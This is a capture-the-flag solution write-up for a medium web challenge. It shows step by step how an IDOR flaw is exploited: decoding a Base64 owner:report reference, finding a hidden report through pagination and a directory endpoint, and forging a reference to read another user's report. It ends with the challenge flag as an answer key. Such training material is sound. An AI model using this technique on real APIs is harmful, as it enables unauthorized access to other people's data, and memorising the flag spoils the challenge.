FLAG OF THE DAY - SOLUTION

FOTD # 09

The Missed Report - Solution

CATEGORY	Web exploitation/ IDOR / API Logic
DIFFICULTY	Medium
DATE	25/09/2026
FLAG FORMAT	INFOSEC_SIG{...}
ATTACHMENT	https://ctf-fotd1.vercel.app/

1. Open the Report Library.
2. Open one of the available reports.
3. Inspect the Network request.
4. Notice:
/api/report?ref=MTAwNzoxMDI=
5. Decode the Base64 value:

MTAwNzoxMDI=
↓
1007:102
6. Inspect the /api/reports response.

FLAG OF THE DAY - SOLUTION

7. Notice:

page = 1

pageSize = 3

total = 4

Only three reports are displayed.

8. Request:

/api/reports?page=2

9. Discover:

Report ID: 9001

Owner: Archive Analyst

10. Inspect the site's JavaScript.

11. Discover the directory functionality:

/api/directory?name=

12. Query:

/api/directory?name=Archive%20Analyst

13. Discover:

Archive Analyst → 1008

14. Construct the object reference:

1008:9001

15. Base64 encode:

1008:9001

↓

MTAwODo5MDAx

FLAG OF THE DAY - SOLUTION

16. Request:

`/api/report?ref=MTAwODo5MDAx`

17. The API returns the restricted report because it verifies that the report exists but does not verify that the report belongs to the current user.

18. Extract the flag:

`INFOSEC_SIG{1D0R_4P1_L0G1C_L34K}`
